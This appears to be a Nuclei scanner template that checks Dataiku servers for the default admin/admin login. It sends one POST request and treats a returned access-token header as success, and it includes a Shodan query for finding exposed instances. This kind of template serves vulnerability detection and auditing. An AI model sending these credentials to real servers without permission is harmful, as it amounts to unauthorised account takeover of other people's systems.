id: dataiku-default-login

info:
  name: Dataiku - Default Login
  author: random-robbie
  severity: high
  description: Dataiku contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations. This vulnerability may also lead to server-side request forgery and/or remote code execution.
  reference:
    - https://www.dataiku.com
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"dataiku"
  tags: default-login,dataiku

http:
  - raw:
      - |
        POST /dip/api/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;charset=utf-8

        login=admin&password=admin

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'dss_access_token'

      - type: status
        status:
          - 200

# digest: 4b0a00483046022100f68d143824c3c460c413d13622b1b6f17f5f77d3b76d8536627ffa11154cec48022100c43951971e42a49325c23e6f30b7def356e971e6c2efaa9b9a5771c6c3d079cf:922c64590222798bb761d5b6d8e72950
